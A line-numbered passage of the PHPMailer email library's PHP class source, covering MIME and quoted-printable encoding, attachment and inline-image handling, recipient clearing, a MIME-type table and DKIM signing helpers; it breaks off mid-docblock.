  2838. $length = 75 - strlen($start) - strlen($end);
  2839. // Average multi-byte ratio
  2840. $ratio = $mb_length / strlen($str);
  2841. // Base64 has a 4:3 ratio
  2842. $avgLength = floor($length * $ratio * .75);
  2843.  
  2844. for ($i = 0; $i < $mb_length; $i += $offset) {
  2845. $lookBack = 0;
  2846. do {
  2847. $offset = $avgLength - $lookBack;
  2848. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2849. $chunk = base64_encode($chunk);
  2850. $lookBack++;
  2851. } while (strlen($chunk) > $length);
  2852. $encoded .= $chunk . $linebreak;
  2853. }
  2854.  
  2855. // Chomp the last linefeed
  2856. $encoded = substr($encoded, 0, -strlen($linebreak));
  2857. return $encoded;
  2858. }
  2859.  
  2860. /**
  2861. * Encode a string in quoted-printable format.
  2862. * According to RFC2045 section 6.7.
  2863. * @access public
  2864. * @param string $string The text to encode
  2865. * @param integer $line_max Number of chars allowed on a line before wrapping
  2866. * @return string
  2867. * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2868. */
  2869. public function encodeQP($string, $line_max = 76)
  2870. {
  2871. // Use native function if it's available (>= PHP5.3)
  2872. if (function_exists('quoted_printable_encode')) {
  2873. return quoted_printable_encode($string);
  2874. }
  2875. // Fall back to a pure PHP implementation
  2876. $string = str_replace(
  2877. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2878. array(' ', "\r\n=2E", "\r\n", '='),
  2879. rawurlencode($string)
  2880. );
  2881. return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2882. }
  2883.  
  2884. /**
  2885. * Backward compatibility wrapper for an old QP encoding function that was removed.
  2886. * @see PHPMailer::encodeQP()
  2887. * @access public
  2888. * @param string $string
  2889. * @param integer $line_max
  2890. * @param boolean $space_conv
  2891. * @return string
  2892. * @deprecated Use encodeQP instead.
  2893. */
  2894. public function encodeQPphp(
  2895. $string,
  2896. $line_max = 76,
  2897. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2898. ) {
  2899. return $this->encodeQP($string, $line_max);
  2900. }
  2901.  
  2902. /**
  2903. * Encode a string using Q encoding.
  2904. * @link http://tools.ietf.org/html/rfc2047
  2905. * @param string $str the text to encode
  2906. * @param string $position Where the text is going to be used, see the RFC for what that means
  2907. * @access public
  2908. * @return string
  2909. */
  2910. public function encodeQ($str, $position = 'text')
  2911. {
  2912. // There should not be any EOL in the string
  2913. $pattern = '';
  2914. $encoded = str_replace(array("\r", "\n"), '', $str);
  2915. switch (strtolower($position)) {
  2916. case 'phrase':
  2917. // RFC 2047 section 5.3
  2918. $pattern = '^A-Za-z0-9!*+\/ -';
  2919. break;
  2920. /** @noinspection PhpMissingBreakStatementInspection */
  2921. case 'comment':
  2922. // RFC 2047 section 5.2
  2923. $pattern = '\(\)"';
  2924. // intentional fall-through
  2925. // for this reason we build the $pattern without including delimiters and []
  2926. case 'text':
  2927. default:
  2928. // RFC 2047 section 5.1
  2929. // Replace every high ascii, control, =, ? and _ characters
  2930. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2931. break;
  2932. }
  2933. $matches = array();
  2934. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2935. // If the string contains an '=', make sure it's the first thing we replace
  2936. // so as to avoid double-encoding
  2937. $eqkey = array_search('=', $matches[0]);
  2938. if (false !== $eqkey) {
  2939. unset($matches[0][$eqkey]);
  2940. array_unshift($matches[0], '=');
  2941. }
  2942. foreach (array_unique($matches[0]) as $char) {
  2943. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2944. }
  2945. }
  2946. // Replace every spaces to _ (more readable than =20)
  2947. return str_replace(' ', '_', $encoded);
  2948. }
  2949.  
  2950. /**
  2951. * Add a string or binary attachment (non-filesystem).
  2952. * This method can be used to attach ascii or binary data,
  2953. * such as a BLOB record from a database.
  2954. * @param string $string String attachment data.
  2955. * @param string $filename Name of the attachment.
  2956. * @param string $encoding File encoding (see $Encoding).
  2957. * @param string $type File extension (MIME) type.
  2958. * @param string $disposition Disposition to use
  2959. * @return void
  2960. */
  2961. public function addStringAttachment(
  2962. $string,
  2963. $filename,
  2964. $encoding = 'base64',
  2965. $type = '',
  2966. $disposition = 'attachment'
  2967. ) {
  2968. // If a MIME type is not specified, try to work it out from the file name
  2969. if ($type == '') {
  2970. $type = self::filenameToType($filename);
  2971. }
  2972. // Append to $attachment array
  2973. $this->attachment[] = array(
  2974. 0 => $string,
  2975. 1 => $filename,
  2976. 2 => basename($filename),
  2977. 3 => $encoding,
  2978. 4 => $type,
  2979. 5 => true, // isStringAttachment
  2980. 6 => $disposition,
  2981. 7 => 0
  2982. );
  2983. }
  2984.  
  2985. /**
  2986. * Add an embedded (inline) attachment from a file.
  2987. * This can include images, sounds, and just about any other document type.
  2988. * These differ from 'regular' attachments in that they are intended to be
  2989. * displayed inline with the message, not just attached for download.
  2990. * This is used in HTML messages that embed the images
  2991. * the HTML refers to using the $cid value.
  2992. * @param string $path Path to the attachment.
  2993. * @param string $cid Content ID of the attachment; Use this to reference
  2994. * the content when using an embedded image in HTML.
  2995. * @param string $name Overrides the attachment name.
  2996. * @param string $encoding File encoding (see $Encoding).
  2997. * @param string $type File MIME type.
  2998. * @param string $disposition Disposition to use
  2999. * @return boolean True on successfully adding an attachment
  3000. */
  3001. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3002. {
  3003. if (!@is_file($path)) {
  3004. $this->setError($this->lang('file_access') . $path);
  3005. return false;
  3006. }
  3007.  
  3008. // If a MIME type is not specified, try to work it out from the file name
  3009. if ($type == '') {
  3010. $type = self::filenameToType($path);
  3011. }
  3012.  
  3013. $filename = basename($path);
  3014. if ($name == '') {
  3015. $name = $filename;
  3016. }
  3017.  
  3018. // Append to $attachment array
  3019. $this->attachment[] = array(
  3020. 0 => $path,
  3021. 1 => $filename,
  3022. 2 => $name,
  3023. 3 => $encoding,
  3024. 4 => $type,
  3025. 5 => false, // isStringAttachment
  3026. 6 => $disposition,
  3027. 7 => $cid
  3028. );
  3029. return true;
  3030. }
  3031.  
  3032. /**
  3033. * Add an embedded stringified attachment.
  3034. * This can include images, sounds, and just about any other document type.
  3035. * Be sure to set the $type to an image type for images:
  3036. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3037. * @param string $string The attachment binary data.
  3038. * @param string $cid Content ID of the attachment; Use this to reference
  3039. * the content when using an embedded image in HTML.
  3040. * @param string $name
  3041. * @param string $encoding File encoding (see $Encoding).
  3042. * @param string $type MIME type.
  3043. * @param string $disposition Disposition to use
  3044. * @return boolean True on successfully adding an attachment
  3045. */
  3046. public function addStringEmbeddedImage(
  3047. $string,
  3048. $cid,
  3049. $name = '',
  3050. $encoding = 'base64',
  3051. $type = '',
  3052. $disposition = 'inline'
  3053. ) {
  3054. // If a MIME type is not specified, try to work it out from the name
  3055. if ($type == '' and !empty($name)) {
  3056. $type = self::filenameToType($name);
  3057. }
  3058.  
  3059. // Append to $attachment array
  3060. $this->attachment[] = array(
  3061. 0 => $string,
  3062. 1 => $name,
  3063. 2 => $name,
  3064. 3 => $encoding,
  3065. 4 => $type,
  3066. 5 => true, // isStringAttachment
  3067. 6 => $disposition,
  3068. 7 => $cid
  3069. );
  3070. return true;
  3071. }
  3072.  
  3073. /**
  3074. * Check if an inline attachment is present.
  3075. * @access public
  3076. * @return boolean
  3077. */
  3078. public function inlineImageExists()
  3079. {
  3080. foreach ($this->attachment as $attachment) {
  3081. if ($attachment[6] == 'inline') {
  3082. return true;
  3083. }
  3084. }
  3085. return false;
  3086. }
  3087.  
  3088. /**
  3089. * Check if an attachment (non-inline) is present.
  3090. * @return boolean
  3091. */
  3092. public function attachmentExists()
  3093. {
  3094. foreach ($this->attachment as $attachment) {
  3095. if ($attachment[6] == 'attachment') {
  3096. return true;
  3097. }
  3098. }
  3099. return false;
  3100. }
  3101.  
  3102. /**
  3103. * Check if this message has an alternative body set.
  3104. * @return boolean
  3105. */
  3106. public function alternativeExists()
  3107. {
  3108. return !empty($this->AltBody);
  3109. }
  3110.  
  3111. /**
  3112. * Clear queued addresses of given kind.
  3113. * @access protected
  3114. * @param string $kind 'to', 'cc', or 'bcc'
  3115. * @return void
  3116. */
  3117. public function clearQueuedAddresses($kind)
  3118. {
  3119. $RecipientsQueue = $this->RecipientsQueue;
  3120. foreach ($RecipientsQueue as $address => $params) {
  3121. if ($params[0] == $kind) {
  3122. unset($this->RecipientsQueue[$address]);
  3123. }
  3124. }
  3125. }
  3126.  
  3127. /**
  3128. * Clear all To recipients.
  3129. * @return void
  3130. */
  3131. public function clearAddresses()
  3132. {
  3133. foreach ($this->to as $to) {
  3134. unset($this->all_recipients[strtolower($to[0])]);
  3135. }
  3136. $this->to = array();
  3137. $this->clearQueuedAddresses('to');
  3138. }
  3139.  
  3140. /**
  3141. * Clear all CC recipients.
  3142. * @return void
  3143. */
  3144. public function clearCCs()
  3145. {
  3146. foreach ($this->cc as $cc) {
  3147. unset($this->all_recipients[strtolower($cc[0])]);
  3148. }
  3149. $this->cc = array();
  3150. $this->clearQueuedAddresses('cc');
  3151. }
  3152.  
  3153. /**
  3154. * Clear all BCC recipients.
  3155. * @return void
  3156. */
  3157. public function clearBCCs()
  3158. {
  3159. foreach ($this->bcc as $bcc) {
  3160. unset($this->all_recipients[strtolower($bcc[0])]);
  3161. }
  3162. $this->bcc = array();
  3163. $this->clearQueuedAddresses('bcc');
  3164. }
  3165.  
  3166. /**
  3167. * Clear all ReplyTo recipients.
  3168. * @return void
  3169. */
  3170. public function clearReplyTos()
  3171. {
  3172. $this->ReplyTo = array();
  3173. $this->ReplyToQueue = array();
  3174. }
  3175.  
  3176. /**
  3177. * Clear all recipient types.
  3178. * @return void
  3179. */
  3180. public function clearAllRecipients()
  3181. {
  3182. $this->to = array();
  3183. $this->cc = array();
  3184. $this->bcc = array();
  3185. $this->all_recipients = array();
  3186. $this->RecipientsQueue = array();
  3187. }
  3188.  
  3189. /**
  3190. * Clear all filesystem, string, and binary attachments.
  3191. * @return void
  3192. */
  3193. public function clearAttachments()
  3194. {
  3195. $this->attachment = array();
  3196. }
  3197.  
  3198. /**
  3199. * Clear all custom headers.
  3200. * @return void
  3201. */
  3202. public function clearCustomHeaders()
  3203. {
  3204. $this->CustomHeader = array();
  3205. }
  3206.  
  3207. /**
  3208. * Add an error message to the error container.
  3209. * @access protected
  3210. * @param string $msg
  3211. * @return void
  3212. */
  3213. protected function setError($msg)
  3214. {
  3215. $this->error_count++;
  3216. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3217. $lasterror = $this->smtp->getError();
  3218. if (!empty($lasterror['error'])) {
  3219. $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3220. if (!empty($lasterror['detail'])) {
  3221. $msg .= ' Detail: '. $lasterror['detail'];
  3222. }
  3223. if (!empty($lasterror['smtp_code'])) {
  3224. $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3225. }
  3226. if (!empty($lasterror['smtp_code_ex'])) {
  3227. $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3228. }
  3229. }
  3230. }
  3231. $this->ErrorInfo = $msg;
  3232. }
  3233.  
  3234. /**
  3235. * Return an RFC 822 formatted date.
  3236. * @access public
  3237. * @return string
  3238. * @static
  3239. */
  3240. public static function rfcDate()
  3241. {
  3242. // Set the time zone to whatever the default is to avoid 500 errors
  3243. // Will default to UTC if it's not set properly in php.ini
  3244. date_default_timezone_set(@date_default_timezone_get());
  3245. return date('D, j M Y H:i:s O');
  3246. }
  3247.  
  3248. /**
  3249. * Get the server hostname.
  3250. * Returns 'localhost.localdomain' if unknown.
  3251. * @access protected
  3252. * @return string
  3253. */
  3254. protected function serverHostname()
  3255. {
  3256. $result = 'localhost.localdomain';
  3257. if (!empty($this->Hostname)) {
  3258. $result = $this->Hostname;
  3259. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3260. $result = $_SERVER['SERVER_NAME'];
  3261. } elseif (function_exists('gethostname') && gethostname() !== false) {
  3262. $result = gethostname();
  3263. } elseif (php_uname('n') !== false) {
  3264. $result = php_uname('n');
  3265. }
  3266. return $result;
  3267. }
  3268.  
  3269. /**
  3270. * Get an error message in the current language.
  3271. * @access protected
  3272. * @param string $key
  3273. * @return string
  3274. */
  3275. protected function lang($key)
  3276. {
  3277. if (count($this->language) < 1) {
  3278. $this->setLanguage('en'); // set the default language
  3279. }
  3280.  
  3281. if (array_key_exists($key, $this->language)) {
  3282. if ($key == 'smtp_connect_failed') {
  3283. //Include a link to troubleshooting docs on SMTP connection failure
  3284. //this is by far the biggest cause of support questions
  3285. //but it's usually not PHPMailer's fault.
  3286. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3287. }
  3288. return $this->language[$key];
  3289. } else {
  3290. //Return the key as a fallback
  3291. return $key;
  3292. }
  3293. }
  3294.  
  3295. /**
  3296. * Check if an error occurred.
  3297. * @access public
  3298. * @return boolean True if an error did occur.
  3299. */
  3300. public function isError()
  3301. {
  3302. return ($this->error_count > 0);
  3303. }
  3304.  
  3305. /**
  3306. * Ensure consistent line endings in a string.
  3307. * Changes every end of line from CRLF, CR or LF to $this->LE.
  3308. * @access public
  3309. * @param string $str String to fixEOL
  3310. * @return string
  3311. */
  3312. public function fixEOL($str)
  3313. {
  3314. // Normalise to \n
  3315. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3316. // Now convert LE as needed
  3317. if ($this->LE !== "\n") {
  3318. $nstr = str_replace("\n", $this->LE, $nstr);
  3319. }
  3320. return $nstr;
  3321. }
  3322.  
  3323. /**
  3324. * Add a custom header.
  3325. * $name value can be overloaded to contain
  3326. * both header name and value (name:value)
  3327. * @access public
  3328. * @param string $name Custom header name
  3329. * @param string $value Header value
  3330. * @return void
  3331. */
  3332. public function addCustomHeader($name, $value = null)
  3333. {
  3334. if ($value === null) {
  3335. // Value passed in as name:value
  3336. $this->CustomHeader[] = explode(':', $name, 2);
  3337. } else {
  3338. $this->CustomHeader[] = array($name, $value);
  3339. }
  3340. }
  3341.  
  3342. /**
  3343. * Returns all custom headers.
  3344. * @return array
  3345. */
  3346. public function getCustomHeaders()
  3347. {
  3348. return $this->CustomHeader;
  3349. }
  3350.  
  3351. /**
  3352. * Create a message from an HTML string.
  3353. * Automatically makes modifications for inline images and backgrounds
  3354. * and creates a plain-text version by converting the HTML.
  3355. * Overwrites any existing values in $this->Body and $this->AltBody
  3356. * @access public
  3357. * @param string $message HTML message string
  3358. * @param string $basedir baseline directory for path
  3359. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3360. * or your own custom converter @see PHPMailer::html2text()
  3361. * @return string $message
  3362. */
  3363. public function msgHTML($message, $basedir = '', $advanced = false)
  3364. {
  3365. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3366. if (array_key_exists(2, $images)) {
  3367. foreach ($images[2] as $imgindex => $url) {
  3368. // Convert data URIs into embedded images
  3369. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3370. $data = substr($url, strpos($url, ','));
  3371. if ($match[2]) {
  3372. $data = base64_decode($data);
  3373. } else {
  3374. $data = rawurldecode($data);
  3375. }
  3376. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3377. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3378. $message = str_replace(
  3379. $images[0][$imgindex],
  3380. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3381. $message
  3382. );
  3383. }
  3384. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3385. // Do not change urls for absolute images (thanks to corvuscorax)
  3386. // Do not change urls that are already inline images
  3387. $filename = basename($url);
  3388. $directory = dirname($url);
  3389. if ($directory == '.') {
  3390. $directory = '';
  3391. }
  3392. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3393. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3394. $basedir .= '/';
  3395. }
  3396. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3397. $directory .= '/';
  3398. }
  3399. if ($this->addEmbeddedImage(
  3400. $basedir . $directory . $filename,
  3401. $cid,
  3402. $filename,
  3403. 'base64',
  3404. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3405. )
  3406. ) {
  3407. $message = preg_replace(
  3408. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3409. $images[1][$imgindex] . '="cid:' . $cid . '"',
  3410. $message
  3411. );
  3412. }
  3413. }
  3414. }
  3415. }
  3416. $this->isHTML(true);
  3417. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3418. $this->Body = $this->normalizeBreaks($message);
  3419. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3420. if (empty($this->AltBody)) {
  3421. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3422. self::CRLF . self::CRLF;
  3423. }
  3424. return $this->Body;
  3425. }
  3426.  
  3427. /**
  3428. * Convert an HTML string into plain text.
  3429. * This is used by msgHTML().
  3430. * Note - older versions of this function used a bundled advanced converter
  3431. * which was been removed for license reasons in #232
  3432. * Example usage:
  3433. * <code>
  3434. * // Use default conversion
  3435. * $plain = $mail->html2text($html);
  3436. * // Use your own custom converter
  3437. * $plain = $mail->html2text($html, function($html) {
  3438. * $converter = new MyHtml2text($html);
  3439. * return $converter->get_text();
  3440. * });
  3441. * </code>
  3442. * @param string $html The HTML text to convert
  3443. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3444. * or provide your own callable for custom conversion.
  3445. * @return string
  3446. */
  3447. public function html2text($html, $advanced = false)
  3448. {
  3449. if (is_callable($advanced)) {
  3450. return call_user_func($advanced, $html);
  3451. }
  3452. return html_entity_decode(
  3453. trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3454. ENT_QUOTES,
  3455. $this->CharSet
  3456. );
  3457. }
  3458.  
  3459. /**
  3460. * Get the MIME type for a file extension.
  3461. * @param string $ext File extension
  3462. * @access public
  3463. * @return string MIME type of file.
  3464. * @static
  3465. */
  3466. public static function _mime_types($ext = '')
  3467. {
  3468. $mimes = array(
  3469. 'xl' => 'application/excel',
  3470. 'js' => 'application/javascript',
  3471. 'hqx' => 'application/mac-binhex40',
  3472. 'cpt' => 'application/mac-compactpro',
  3473. 'bin' => 'application/macbinary',
  3474. 'doc' => 'application/msword',
  3475. 'word' => 'application/msword',
  3476. 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3477. 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3478. 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3479. 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3480. 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3481. 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3482. 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3483. 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3484. 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3485. 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3486. 'class' => 'application/octet-stream',
  3487. 'dll' => 'application/octet-stream',
  3488. 'dms' => 'application/octet-stream',
  3489. 'exe' => 'application/octet-stream',
  3490. 'lha' => 'application/octet-stream',
  3491. 'lzh' => 'application/octet-stream',
  3492. 'psd' => 'application/octet-stream',
  3493. 'sea' => 'application/octet-stream',
  3494. 'so' => 'application/octet-stream',
  3495. 'oda' => 'application/oda',
  3496. 'pdf' => 'application/pdf',
  3497. 'ai' => 'application/postscript',
  3498. 'eps' => 'application/postscript',
  3499. 'ps' => 'application/postscript',
  3500. 'smi' => 'application/smil',
  3501. 'smil' => 'application/smil',
  3502. 'mif' => 'application/vnd.mif',
  3503. 'xls' => 'application/vnd.ms-excel',
  3504. 'ppt' => 'application/vnd.ms-powerpoint',
  3505. 'wbxml' => 'application/vnd.wap.wbxml',
  3506. 'wmlc' => 'application/vnd.wap.wmlc',
  3507. 'dcr' => 'application/x-director',
  3508. 'dir' => 'application/x-director',
  3509. 'dxr' => 'application/x-director',
  3510. 'dvi' => 'application/x-dvi',
  3511. 'gtar' => 'application/x-gtar',
  3512. 'php3' => 'application/x-httpd-php',
  3513. 'php4' => 'application/x-httpd-php',
  3514. 'php' => 'application/x-httpd-php',
  3515. 'phtml' => 'application/x-httpd-php',
  3516. 'phps' => 'application/x-httpd-php-source',
  3517. 'swf' => 'application/x-shockwave-flash',
  3518. 'sit' => 'application/x-stuffit',
  3519. 'tar' => 'application/x-tar',
  3520. 'tgz' => 'application/x-tar',
  3521. 'xht' => 'application/xhtml+xml',
  3522. 'xhtml' => 'application/xhtml+xml',
  3523. 'zip' => 'application/zip',
  3524. 'mid' => 'audio/midi',
  3525. 'midi' => 'audio/midi',
  3526. 'mp2' => 'audio/mpeg',
  3527. 'mp3' => 'audio/mpeg',
  3528. 'mpga' => 'audio/mpeg',
  3529. 'aif' => 'audio/x-aiff',
  3530. 'aifc' => 'audio/x-aiff',
  3531. 'aiff' => 'audio/x-aiff',
  3532. 'ram' => 'audio/x-pn-realaudio',
  3533. 'rm' => 'audio/x-pn-realaudio',
  3534. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3535. 'ra' => 'audio/x-realaudio',
  3536. 'wav' => 'audio/x-wav',
  3537. 'bmp' => 'image/bmp',
  3538. 'gif' => 'image/gif',
  3539. 'jpeg' => 'image/jpeg',
  3540. 'jpe' => 'image/jpeg',
  3541. 'jpg' => 'image/jpeg',
  3542. 'png' => 'image/png',
  3543. 'tiff' => 'image/tiff',
  3544. 'tif' => 'image/tiff',
  3545. 'eml' => 'message/rfc822',
  3546. 'css' => 'text/css',
  3547. 'html' => 'text/html',
  3548. 'htm' => 'text/html',
  3549. 'shtml' => 'text/html',
  3550. 'log' => 'text/plain',
  3551. 'text' => 'text/plain',
  3552. 'txt' => 'text/plain',
  3553. 'rtx' => 'text/richtext',
  3554. 'rtf' => 'text/rtf',
  3555. 'vcf' => 'text/vcard',
  3556. 'vcard' => 'text/vcard',
  3557. 'xml' => 'text/xml',
  3558. 'xsl' => 'text/xml',
  3559. 'mpeg' => 'video/mpeg',
  3560. 'mpe' => 'video/mpeg',
  3561. 'mpg' => 'video/mpeg',
  3562. 'mov' => 'video/quicktime',
  3563. 'qt' => 'video/quicktime',
  3564. 'rv' => 'video/vnd.rn-realvideo',
  3565. 'avi' => 'video/x-msvideo',
  3566. 'movie' => 'video/x-sgi-movie'
  3567. );
  3568. if (array_key_exists(strtolower($ext), $mimes)) {
  3569. return $mimes[strtolower($ext)];
  3570. }
  3571. return 'application/octet-stream';
  3572. }
  3573.  
  3574. /**
  3575. * Map a file name to a MIME type.
  3576. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3577. * @param string $filename A file name or full path, does not need to exist as a file
  3578. * @return string
  3579. * @static
  3580. */
  3581. public static function filenameToType($filename)
  3582. {
  3583. // In case the path is a URL, strip any query string before getting extension
  3584. $qpos = strpos($filename, '?');
  3585. if (false !== $qpos) {
  3586. $filename = substr($filename, 0, $qpos);
  3587. }
  3588. $pathinfo = self::mb_pathinfo($filename);
  3589. return self::_mime_types($pathinfo['extension']);
  3590. }
  3591.  
  3592. /**
  3593. * Multi-byte-safe pathinfo replacement.
  3594. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3595. * Works similarly to the one in PHP >= 5.2.0
  3596. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3597. * @param string $path A filename or path, does not need to exist as a file
  3598. * @param integer|string $options Either a PATHINFO_* constant,
  3599. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3600. * @return string|array
  3601. * @static
  3602. */
  3603. public static function mb_pathinfo($path, $options = null)
  3604. {
  3605. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3606. $pathinfo = array();
  3607. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  3608. if (array_key_exists(1, $pathinfo)) {
  3609. $ret['dirname'] = $pathinfo[1];
  3610. }
  3611. if (array_key_exists(2, $pathinfo)) {
  3612. $ret['basename'] = $pathinfo[2];
  3613. }
  3614. if (array_key_exists(5, $pathinfo)) {
  3615. $ret['extension'] = $pathinfo[5];
  3616. }
  3617. if (array_key_exists(3, $pathinfo)) {
  3618. $ret['filename'] = $pathinfo[3];
  3619. }
  3620. }
  3621. switch ($options) {
  3622. case PATHINFO_DIRNAME:
  3623. case 'dirname':
  3624. return $ret['dirname'];
  3625. case PATHINFO_BASENAME:
  3626. case 'basename':
  3627. return $ret['basename'];
  3628. case PATHINFO_EXTENSION:
  3629. case 'extension':
  3630. return $ret['extension'];
  3631. case PATHINFO_FILENAME:
  3632. case 'filename':
  3633. return $ret['filename'];
  3634. default:
  3635. return $ret;
  3636. }
  3637. }
  3638.  
  3639. /**
  3640. * Set or reset instance properties.
  3641. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3642. * harder to debug than setting properties directly.
  3643. * Usage Example:
  3644. * `$mail->set('SMTPSecure', 'tls');`
  3645. * is the same as:
  3646. * `$mail->SMTPSecure = 'tls';`
  3647. * @access public
  3648. * @param string $name The property name to set
  3649. * @param mixed $value The value to set the property to
  3650. * @return boolean
  3651. * @TODO Should this not be using the __set() magic function?
  3652. */
  3653. public function set($name, $value = '')
  3654. {
  3655. if (property_exists($this, $name)) {
  3656. $this->$name = $value;
  3657. return true;
  3658. } else {
  3659. $this->setError($this->lang('variable_set') . $name);
  3660. return false;
  3661. }
  3662. }
  3663.  
  3664. /**
  3665. * Strip newlines to prevent header injection.
  3666. * @access public
  3667. * @param string $str
  3668. * @return string
  3669. */
  3670. public function secureHeader($str)
  3671. {
  3672. return trim(str_replace(array("\r", "\n"), '', $str));
  3673. }
  3674.  
  3675. /**
  3676. * Normalize line breaks in a string.
  3677. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3678. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3679. * @param string $text
  3680. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3681. * @return string
  3682. * @access public
  3683. * @static
  3684. */
  3685. public static function normalizeBreaks($text, $breaktype = "\r\n")
  3686. {
  3687. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  3688. }
  3689.  
  3690. /**
  3691. * Set the public and private key files and password for S/MIME signing.
  3692. * @access public
  3693. * @param string $cert_filename
  3694. * @param string $key_filename
  3695. * @param string $key_pass Password for private key
  3696. * @param string $extracerts_filename Optional path to chain certificate
  3697. */
  3698. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
  3699. {
  3700. $this->sign_cert_file = $cert_filename;
  3701. $this->sign_key_file = $key_filename;
  3702. $this->sign_key_pass = $key_pass;
  3703. $this->sign_extracerts_file = $extracerts_filename;
  3704. }
  3705.  
  3706. /**
  3707. * Quoted-Printable-encode a DKIM header.
  3708. * @access public
  3709. * @param string $txt
  3710. * @return string
  3711. */
  3712. public function DKIM_QP($txt)
  3713. {
  3714. $line = '';
  3715. for ($i = 0; $i < strlen($txt); $i++) {
  3716. $ord = ord($txt[$i]);
  3717. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3718. $line .= $txt[$i];
  3719. } else {
  3720. $line .= '=' . sprintf('%02X', $ord);
  3721. }
  3722. }
  3723. return $line;
  3724. }
  3725.  
  3726. /**
  3727. * Generate a DKIM signature.
  3728. * @access public
  3729. * @param string $signHeader
  3730. * @throws phpmailerException
  3731. * @return string
  3732. */
  3733. public function DKIM_Sign($signHeader)
  3734. {
  3735. if (!defined('PKCS7_TEXT')) {
  3736. if ($this->exceptions) {
  3737. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3738. }
  3739. return '';
  3740. }
  3741. $privKeyStr = file_get_contents($this->DKIM_private);
  3742. if ($this->DKIM_passphrase != '') {
  3743. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3744. } else {
  3745. $privKey = $privKeyStr;
  3746. }
  3747. if (openssl_sign($signHeader, $signature, $privKey)) {
  3748. return base64_encode($signature);
  3749. }
  3750. return '';
  3751. }
  3752.  
  3753. /**
  3754. * Generate a DKIM canonicalization header.
  3755. * @access public
  3756. * @param string $signHeader Header
  3757. * @return string
  3758. */
  3759. public function DKIM_HeaderC($signHeader)
  3760. {
  3761. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3762. $lines = explode("\r\n", $signHeader);
  3763. foreach ($lines as $key => $line) {
  3764. list($heading, $value) = explode(':', $line, 2);
  3765. $heading = strtolower($heading);
  3766. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3767. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3768. }
  3769. $signHeader = implode("\r\n", $lines);
  3770. return $signHeader;
  3771. }
  3772.  
  3773. /**
  3774. * Generate a DKIM canonicalization body.
  3775. * @access public
  3776. * @param string $body Message Body
  3777. * @return string
  3778. */
